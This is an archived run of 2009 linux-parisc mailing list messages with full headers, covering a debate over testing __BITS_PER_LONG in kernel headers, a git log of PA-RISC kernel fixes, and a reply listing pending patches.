Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LPe5J-0006On-IW; Wed, 21 Jan 2009 14:29:37 +0000
Content-Disposition: inline
In-Reply-To: <200901211313.17394.arnd@arndb.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1213 gmane.linux.kernel:784125
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1213>

On Wed, Jan 21, 2009 at 01:13:16PM +0100, Arnd Bergmann wrote:
> On Wednesday 21 January 2009, Sam Ravnborg wrote:
> > Could we add a new symbol for this?
> > We know we are going to use this in several places so a simpler var=
iant
> > would be more readable.
> >=20
> > Something like:
> >=20
> > #ifdef __64BIT
> > ...
> > #endif
> >=20
> > When we define __64BIT we would use the =A0__BITS_PER_LONG =3D=3D 6=
4 check.
>=20
> I would prefer using the __BITS_PER_LONG =3D=3D 64 check directly, be=
cause
> it gives you a warning when __BITS_PER_LONG is undefined, whereas the
> #ifdef check gets easily fooled by include order problems. Note that
> this is not a problem in the kernel for CONFIG_* symbols which are
> always defined before the first #include.
>=20

This is cool with me Arnd. Rock on. :)

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: commit mail stuff
Date: Wed, 21 Jan 2009 09:31:30 -0500
Lines: 187
Approved: news@gmane.org
Message-ID: <20090121143130.GC27998@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232548318 2449 80.91.229.12 (21 Jan 2009 14:31:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 14:31:58 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 15:33:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPe8b-0002UQ-Ez
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 15:33:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754441AbZAUObc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 09:31:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754588AbZAUObc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 09:31:32 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:59067 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754441AbZAUObb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 09:31:31 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LPe78-0006ro-94
	for linux-parisc@vger.kernel.org; Wed, 21 Jan 2009 14:31:30 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1214
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1214>

Dunno why it's broken, but this stuff is in git. Let me know if I missed
anything.

kyle@hera ~/git/parisc-2.6 $ git log
commit ac2565d69d7ef73b4e446f63759358e8a9996385
Author: Helge Deller <deller@gmx.de>
Date:   Sun Jan 18 19:30:18 2009 +0100

    parisc: use constants instead of numbers in assembly
    
    A few small fixups:
    * _PAGE_SIZE_ENCODING_DEFAULT is wrong here, as one might assume
    * that
      it's possible to define the page size that way. This is wrong. Use
0 inste
    * use constants instead of hardcoded numerical values in depi and
    * extru
      while building the PFN out of the pte entry
    * use SHRREG instead of extru (iitlba expects the PFN at bits
    * {7..26})
    
    Still wondering why we can use the same register (pte) as extru
source
    and target register, but it seems to work on PA1.1 and PA2.0...
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit cc1829ddc1c34b17ad8b56b6e4df134450a8c25a
Author: Helge Deller <deller@gmx.de>
Date:   Sun Jan 18 19:16:16 2009 +0100

    parisc: fix usage of 32bit PTE page table entries on 32bit kernels
    
    This patch fixes a long outstanding bug on 32bit parisc linux
kernels
    which prevented us from using 32bit PTE table entries (instead of
64bit
    entries of which 32bit were unused).
    
    The problem was caused by this assembler statement in the L2_ptep
    macro in arch/parisc/kernel/entry.S:447:
        EXTR \va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
    which expanded to
        extrw,u r8,9,11,r1
    and which has undefined behavior since the length value (11) extends
    beyond the leftmost bit (11-1 > 9).
    Interestingly PA2.0 processors seem to don't care and just
zero-extend
    the value, while PA1.1 processors don't.
    
    Fix this problem by detecting an address space overflow with
ASM_BITS_PER_PG
    and adjusting it accordingly. To prevent such problems in the
future,
    some compile time sanity checks in arch/parisc/mm/init.c were added.
    
    Since the page table now only consumes half of it's old size, we can
    use the freed memory to harmonize 32- and 64bit kernels and let both
    map 16MB for the initial page table.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 65aa3ffe7473eb9855b4d77d0e0198abe0892e7a
Author: Helge Deller <deller@gmx.de>
Date:   Sun Jan 18 18:13:53 2009 +0100

    parisc: add braces around arguments in assembler macros
    
    Add braces around the macro arguments, else for example
    "shl %r1, 5-3, %r2" would not expand to what you would assume.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit f152532beb6b32f10b480fc5552da9f3cf1acae2
Author: Helge Deller <deller@gmx.de>
Date:   Tue Jan 13 21:14:51 2009 +0100

    parisc: fix dev_printk() compile warnings for accessing a device
struct
    
    Fix compile warnings:
    drivers/scsi/zalon.c: In function `zalon_probe':
    drivers/scsi/zalon.c:140: warning: passing arg 1 of
`dev_driver_string' from
    drivers/scsi/zalon.c:140: warning: passing arg 1 of `dev_name' from
incompat
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 63371efefffc85af3f2535dc26827e720aa7103f
Author: Helge Deller <deller@gmx.de>
Date:   Tue Jan 13 20:54:25 2009 +0100

    parisc: remove unused local out_putf label
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit b81bf50a191ec8715beab1ac12a5ec8221693c53
Author: Helge Deller <deller@gmx.de>
Date:   Tue Jan 13 20:52:46 2009 +0100

    parisc: fix `struct pt_regs' declared inside parameter list warning
    
    Fix those compile warnings:
    uaccess.h:244: warning: `struct pt_regs' declared inside parameter
list
    uaccess.h:244: warning: its scope is only this definition or
declaration, wh
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 86377b69e291408e0e596cd1e8ca806e4f9d7790
Author: Helge Deller <deller@gmx.de>
Date:   Tue Jan 13 20:51:29 2009 +0100

    parisc: fix section mismatch warnings
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit a130bf34da4b64d7b289e2358530ef5d4ab27efd
Author: James Bottomley <James.Bottomley@HansenPartnership.com>
Date:   Fri Jan 9 18:57:06 2009 -0600

    parisc: remove klist iterators
    
    commit 11c3b5c3e08f4d855cbef52883c266b9ab9df879
    Author: Greg Kroah-Hartman <gregkh@suse.de>
    Date:   Tue Dec 16 12:24:56 2008 -0800
    
        driver core: move klist_children into private structure
    
    Broke our parisc build pretty badly because we touch the klists
directly
    in three cases (AGP, SBA and GSC).  Although GregKH will revert this
    patch, there's no reason we should be using the iterators directly,
we
    can just move to the standard device_for_each_child() API.
    
    Signed-off-by: James Bottomley
<James.Bottomley@HansenPartnership.com>
    Tested-by: Helge Deller <deller@gmx.de>
    Tested-by: Kyle McMartin <kyle@mcmartin.ca>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 1890e15142aa1318bb9775c4ea021aa022c506dc
Author: Helge Deller <deller@gmx.de>
Date:   Tue Jan 6 14:23:13 2009 +0100

    parisc: blink loadavg LEDs on Oops
    
    - blink loadavg LEDs only (not all LEDs) twice a second on Oops
    - cancel_rearming_delayed_workqueue() is obsolete,
      use cancel_delayed_work_sync() instead
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit dca7293875ccb012e521c02bc95463063ac0a693
Author: Helge Deller <deller@gmx.de>
Date:   Tue Jan 6 12:57:01 2009 +0100

    parisc: BUG_ON() cleanup
    
    - convert a few "if (xx) BUG();" to BUG_ON(xx)
    - remove a few printk()s, as we get a backtrace with BUG_ON() anyway
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 1de9e8e70f5acc441550ca75433563d91b269bbe
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Fri Jan 16 12:43:00 2009 -0800

    Linux 2.6.29-rc2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 08:44:56 -0800
Organization: Linux Kernel Organization, Inc.
Lines: 18
Approved: news@gmane.org
Message-ID: <49775108.7040200@kernel.org>
References: <1232496257.3123.19.camel@localhost.localdomain> <200901210924.23484.arnd@arndb.de> <20090121113853.GB1579@uranus.ravnborg.org> <200901211313.17394.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232556537 1024 80.91.229.12 (21 Jan 2009 16:48:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 16:48:57 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>, Helge Deller <deller@gmx.de>,
	David Miller <davem@davemloft.net>, jaswinder@kernel.org,
	mingo@elte.hu, x86@kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 17:50:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPgHA-0004b4-9x
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 17:50:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752655AbZAUQsl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 11:48:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752606AbZAUQsk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 11:48:40 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:32850 "EHLO
	terminus.zytor.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752501AbZAUQsk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 11:48:40 -0500
Original-Received: from mail.hos.anvin.org (c-98-210-181-100.hsd1.ca.comcast.net [98.210.181.100])
	(authenticated bits=0)
	by terminus.zytor.com (8.14.2/8.14.1) with ESMTP id n0LGj0M8005590
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 21 Jan 2009 08:45:01 -0800
Original-Received: from tazenda.hos.anvin.org (tazenda.hos.anvin.org [172.27.0.16])
	by mail.hos.anvin.org (8.14.2/8.13.8) with ESMTP id n0LGj0LY001510;
	Wed, 21 Jan 2009 08:45:00 -0800
Original-Received: from tazenda.hos.anvin.org (localhost.localdomain [127.0.0.1])
	by tazenda.hos.anvin.org (8.14.3/8.13.6) with ESMTP id n0LGiulf032356;
	Wed, 21 Jan 2009 08:44:57 -0800
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <200901211313.17394.arnd@arndb.de>
X-Virus-Scanned: ClamAV 0.93.3/8884/Wed Jan 21 05:15:32 2009 on terminus.zytor.com
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1215 gmane.linux.kernel:784178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1215>

Arnd Bergmann wrote:
> 
> I would prefer using the __BITS_PER_LONG == 64 check directly, because
> it gives you a warning when __BITS_PER_LONG is undefined, whereas the
> #ifdef check gets easily fooled by include order problems. Note that
> this is not a problem in the kernel for CONFIG_* symbols which are
> always defined before the first #include.
> 

I fully agree with this.  It actually *is* a problem for CONFIG_*
symbols too, since people typo them all the time.

	-hpa
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 18:28:37 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20090121172837.GA4386@uranus.ravnborg.org>
References: <1232496257.3123.19.camel@localhost.localdomain> <200901210924.23484.arnd@arndb.de> <20090121113853.GB1579@uranus.ravnborg.org> <200901211313.17394.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1232558873 9868 80.91.229.12 (21 Jan 2009 17:27:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 17:27:53 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, David Miller <davem@davemloft.net>,
	jaswinder@kernel.org, mingo@elte.hu, x86@kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 18:29:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPgsQ-0000q3-PI
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 18:28:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755956AbZAUR0z convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 12:26:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756166AbZAUR0y
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 12:26:54 -0500
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:36186 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755956AbZAUR0x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 12:26:53 -0500
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id 504ACF84040;
	Wed, 21 Jan 2009 18:26:51 +0100 (CET)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 558CA580D0; Wed, 21 Jan 2009 18:28:37 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <200901211313.17394.arnd@arndb.de>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1216 gmane.linux.kernel:784189
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1216>

On Wed, Jan 21, 2009 at 01:13:16PM +0100, Arnd Bergmann wrote:
> On Wednesday 21 January 2009, Sam Ravnborg wrote:
> > Could we add a new symbol for this?
> > We know we are going to use this in several places so a simpler var=
iant
> > would be more readable.
> >=20
> > Something like:
> >=20
> > #ifdef __64BIT
> > ...
> > #endif
> >=20
> > When we define __64BIT we would use the =A0__BITS_PER_LONG =3D=3D 6=
4 check.
>=20
> I would prefer using the __BITS_PER_LONG =3D=3D 64 check directly, be=
cause
> it gives you a warning when __BITS_PER_LONG is undefined, whereas the
> #ifdef check gets easily fooled by include order problems. Note that
> this is not a problem in the kernel for CONFIG_* symbols which are
> always defined before the first #include.

It gives the warning only if you add -Wundef which IIRC is not default
with -Wall. And using the "__BITS_PER_LONG =3D=3D 64" the risk of gitti=
ng
the expression wrong is much higher than the simpler variant where
you only write:

    __64BIT

But I have no strong feelings for it.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 09:57:28 -0800
Organization: Linux Kernel Organization, Inc.
Lines: 20
Approved: news@gmane.org
Message-ID: <49776208.8050704@kernel.org>
References: <1232496257.3123.19.camel@localhost.localdomain> <200901210924.23484.arnd@arndb.de> <20090121113853.GB1579@uranus.ravnborg.org> <200901211313.17394.arnd@arndb.de> <20090121172837.GA4386@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232560906 17560 80.91.229.12 (21 Jan 2009 18:01:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 18:01:46 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, Helge Deller <deller@gmx.de>,
	David Miller <davem@davemloft.net>, jaswinder@kernel.org,
	mingo@elte.hu, x86@kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 19:02:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPhPF-0003lr-I7
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 19:02:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753441AbZAUSBF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 13:01:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753468AbZAUSBF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 13:01:05 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:38983 "EHLO
	terminus.zytor.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753441AbZAUSBE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 13:01:04 -0500
Original-Received: from mail.hos.anvin.org (c-98-210-181-100.hsd1.ca.comcast.net [98.210.181.100])
	(authenticated bits=0)
	by terminus.zytor.com (8.14.2/8.14.1) with ESMTP id n0LHvTXi016149
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 21 Jan 2009 09:57:29 -0800
Original-Received: from tazenda.hos.anvin.org (tazenda.hos.anvin.org [172.27.0.16])
	by mail.hos.anvin.org (8.14.2/8.13.8) with ESMTP id n0LHvTB9001709;
	Wed, 21 Jan 2009 09:57:29 -0800
Original-Received: from tazenda.hos.anvin.org (localhost.localdomain [127.0.0.1])
	by tazenda.hos.anvin.org (8.14.3/8.13.6) with ESMTP id n0LHvSUR000598;
	Wed, 21 Jan 2009 09:57:28 -0800
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20090121172837.GA4386@uranus.ravnborg.org>
X-Virus-Scanned: ClamAV 0.93.3/8884/Wed Jan 21 05:15:32 2009 on terminus.zytor.com
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1217 gmane.linux.kernel:784202
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1217>

Sam Ravnborg wrote:
> 
> It gives the warning only if you add -Wundef which IIRC is not default
> with -Wall. And using the "__BITS_PER_LONG == 64" the risk of gitting
> the expression wrong is much higher than the simpler variant where
> you only write:
> 
>     __64BIT
> 
> But I have no strong feelings for it.
> 

It's not the default, but it would be nice if we could start using it.

	-hpa
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: commit mail stuff
Date: Wed, 21 Jan 2009 19:53:11 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <49776F17.9010006@gmx.de>
References: <20090121143130.GC27998@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232564030 28861 80.91.229.12 (21 Jan 2009 18:53:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 18:53:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 19:55:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPiE1-0004SJ-0t
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 19:54:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753743AbZAUSx2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 13:53:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751520AbZAUSx2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 13:53:28 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:44972 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756029AbZAUSx1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 13:53:27 -0500
Original-Received: (qmail invoked by alias); 21 Jan 2009 18:53:21 -0000
Original-Received: from mnhm-590f748c.pool.einsundeins.de (EHLO halden.box) [89.15.116.140]
  by mail.gmx.net (mp008) with SMTP; 21 Jan 2009 19:53:21 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18uUc4DNPYuESFrZ9SrMr2FXtxBRN6rUrKJfkjdtX
	j0VZSNCe8BF8Mt
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20090121143130.GC27998@bombadil.infradead.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.71
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1218
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1218>

Kyle McMartin wrote:
> Dunno why it's broken, but this stuff is in git. 

What is broken? Booting? Build?

> Let me know if I missed anything.

- The maintainers update patch

- Still needs discussion/patches: Userspace headers cleanup in arch/parisc/include/asm/

Didn't checked yet:
- http://patchwork.cabal.ca/patch/83/ ?
- the rtc patches from dann ?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 15:25:22 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <20090121222522.GB15211@colo.lackof.org>
References: <1232496257.3123.19.camel@localhost.localdomain> <20090120.161626.93641145.davem@davemloft.net> <200901210124.26118.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232576757 21693 80.91.229.12 (21 Jan 2009 22:25:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 22:25:57 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, jaswinder@kernel.org,
	mingo@elte.hu, x86@kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 23:27:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPlXD-0008GK-NL
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 23:26:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752438AbZAUWZf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 17:25:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753082AbZAUWZf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 17:25:35 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:34794 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752438AbZAUWZe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 17:25:34 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A644430007E;
	Wed, 21 Jan 2009 15:25:32 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08243-10; Wed, 21 Jan 2009 15:25:22 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5654F30003B; Wed, 21 Jan 2009 15:25:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200901210124.26118.arnd@arndb.de>
